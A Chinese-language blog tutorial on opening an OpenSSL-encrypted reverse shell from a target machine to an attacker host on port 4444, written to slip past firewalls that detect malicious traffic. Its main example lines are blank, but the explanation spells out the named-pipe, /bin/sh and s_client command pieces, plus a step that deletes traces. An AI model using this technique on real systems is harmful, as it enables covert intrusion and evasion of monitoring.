openssl加密反弹shell
前言
在渗透测试过程中,经常会遇到目标服务器有防火墙,能够识别进出站的恶意流量并阻止反弹shell执行,遇到这种情况一般我们采用分块传输,编码,畸形报文等各种手段绕过。本篇介绍一种更方便的方式:使用openssl加密传输。
攻击机操作
攻击机生成密钥对
1 |
|
其中各参数:
-new: 表示生成一个新的证书签署要求
-x509: 专用于生成CA自签证书
-key:指定生成证书用到的私钥文件
-out FILNAME:指定生成的证书的保存路径
-days:指定证书的有效期限,单位为day,默认是365天
-notes: 生成的私钥文件不会被加密
攻击机监听端口
1 |
|
靶机操作
靶机上反弹加密shell
1 |
|
mkfifo /tmp/s;创建一个管道
/bin/sh -i < /tmp/s 2>&1 打开一个交互式反弹shell,2>&1的意思是把标准错误输出重定向到标准输出,否则输入错误命令回显会显示在靶机中
openssl s_client -quiet -connect 192.168.xx.xx:4444 > /tmp/s; 解密流量,将攻击端输入的数据解密后反弹回攻击端
rm /tmp/s 由于已经加载进内存,清除掉/tmp/s文件
其中openssl各参数:
-quiet:不打印出session和证书的信息。同时隐式打开-ign_eof
-ign_eof:当输入文件到达文件尾的时候并不断开连接
-connect host:port: 设置服务器地址和端口号。如果没有设置,则默认为本地主机以及端口号4433
shell成功连接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!